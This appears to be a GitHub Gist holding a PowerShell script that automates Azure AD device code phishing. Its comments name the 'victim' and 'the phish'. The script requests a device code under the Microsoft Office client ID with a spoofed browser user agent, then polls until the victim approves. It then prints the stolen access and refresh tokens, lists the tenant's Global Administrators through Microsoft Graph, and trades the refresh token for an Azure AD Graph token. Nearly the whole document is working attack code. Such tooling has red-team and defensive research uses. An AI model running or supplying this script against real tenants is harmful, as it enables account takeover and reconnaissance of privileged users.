Created
December 28, 2022 17:45
-
-
Save m8r1us/6967fc9763c7f4f3c0aa7cbd3ff5a3f8 to your computer and use it in GitHub Desktop.
Script to automate the Azure AD Device Code Flow
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Author: Marius Elmiger (@m8r1us) | |
# Description: Script to automate the Azure AD Device Code Flow | |
# Define an Azure AD Application from which you want to connect in the name of the victim to a resource | |
# client_id = Microsoft Office App | |
# resource = Microsoft Graph | |
$body=@{ | |
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c" | |
"resource" = "https://graph.microsoft.com" | |
} | |
# Define an UserAgent that is widely used | |
$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" | |
# Invoke the request to get device code | |
$Headers=@{} | |
$Headers["User-Agent"] = $UserAgent | |
$authResponse = Invoke-RestMethod ` | |
-UseBasicParsing ` | |
-Method Post ` | |
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` | |
-Headers $Headers ` | |
-Body $body | |
#Display the user_code and device_code | |
Write-Host "------------------------------------------------" | |
Write-Host "User and device code" | |
Write-Host "------------------------------------------------" | |
$authResponse | |
#Pull for response | |
$tokenResponse = $null | |
# Generate the expire data from expires_in | |
$maxDate = (Get-Date).AddSeconds($authResponse.expires_in) | |
# Define the body for the pull request with the device_code generated above | |
$bodyTokenResponse=@{ | |
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c" | |
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code" | |
"code" = $authResponse.device_code | |
} | |
# Loop until $tokenResponse has a value or the user_code is valid | |
while (!$tokenResponse -and (Get-Date) -lt $maxDate) | |
{ | |
try | |
{ | |
$tokenResponse = Invoke-RestMethod ` | |
-UseBasicParsing ` | |
-Method Post ` | |
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` | |
-Headers $Headers ` | |
-Body $bodyTokenResponse | |
} | |
catch [System.Net.WebException] | |
{ | |
if ($_.Exception.Response -eq $null) | |
{ | |
throw | |
} | |
$result = $_.Exception.Response.GetResponseStream() | |
$reader = New-Object System.IO.StreamReader($result) | |
$reader.BaseStream.Position = 0 | |
$errBody = ConvertFrom-Json $reader.ReadToEnd(); | |
if($errBody.Error -ne "authorization_pending") | |
{ | |
throw | |
} | |
Start-Sleep($authResponse.interval); | |
Write-Host -NoNewline "."; | |
} | |
} | |
Write-Host "" | |
if(!$tokenResponse) | |
{ | |
Write-Host "------------------------------------------------" | |
Write-Host "The phish failed" | |
Write-Host "------------------------------------------------" | |
Write-Host "1:0 for the Victim" | |
} | |
else | |
{ | |
Write-Host "------------------------------------------------" | |
Write-Host "Access and Refresh Token" | |
Write-Host "------------------------------------------------" | |
$tokenResponse | |
Write-Host "------------------------------------------------" | |
Write-Host "Members of the Azure AD Global Administrators role" | |
Write-Host "------------------------------------------------" | |
# Query Microsoft Graph API with the access token to display all Global Administrators | |
$Headers = @{} | |
$Headers.Add("Authorization","Bearer"+ " " + "$($tokenResponse.access_token)") | |
# Query Global Admin object id" | |
$apiUrl = "https://graph.microsoft.com/v1.0/directoryRoles?`$filter=roleTemplateId eq '62e90394-69f5-4237-9190-012177145e10'&`$select=id" | |
try { | |
$Data = Invoke-RestMethod -Headers $Headers -Uri $apiUrl -Method Get | |
} | |
Catch | |
{ | |
Write-Error $Error[0] | |
} | |
$globalAdminId = ($Data | select-object Value).Value.id | |
# Query Global Admin members" | |
$apiUrl = "https://graph.microsoft.com/v1.0/directoryRoles/$($globalAdminId)/members?`$select=id,userPrincipalName" | |
try { | |
$Data = Invoke-RestMethod -Headers $Headers -Uri $apiUrl -Method Get | |
} | |
Catch | |
{ | |
Write-Error $Error[0] | |
} | |
$globalAdminMembers = ($Data | select-object Value).Value.userPrincipalName | |
$globalAdminMembers | |
# Create body for getting access token for Azure AD Graph Explorer | |
$body=@{ | |
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c" | |
"grant_type" = "refresh_token" | |
"scope" = "openid" | |
"resource" = "https://graph.windows.net" | |
"refresh_token" = $tokenResponse.refresh_token | |
} | |
Write-Host "------------------------------------------------" | |
Write-Host "Exchange Microsoft Graph token to an Azure AD Graph token" | |
Write-Host "------------------------------------------------" | |
$AADTokenresponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token" -Body $body -ErrorAction SilentlyContinue | |
$AADTokenresponse | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment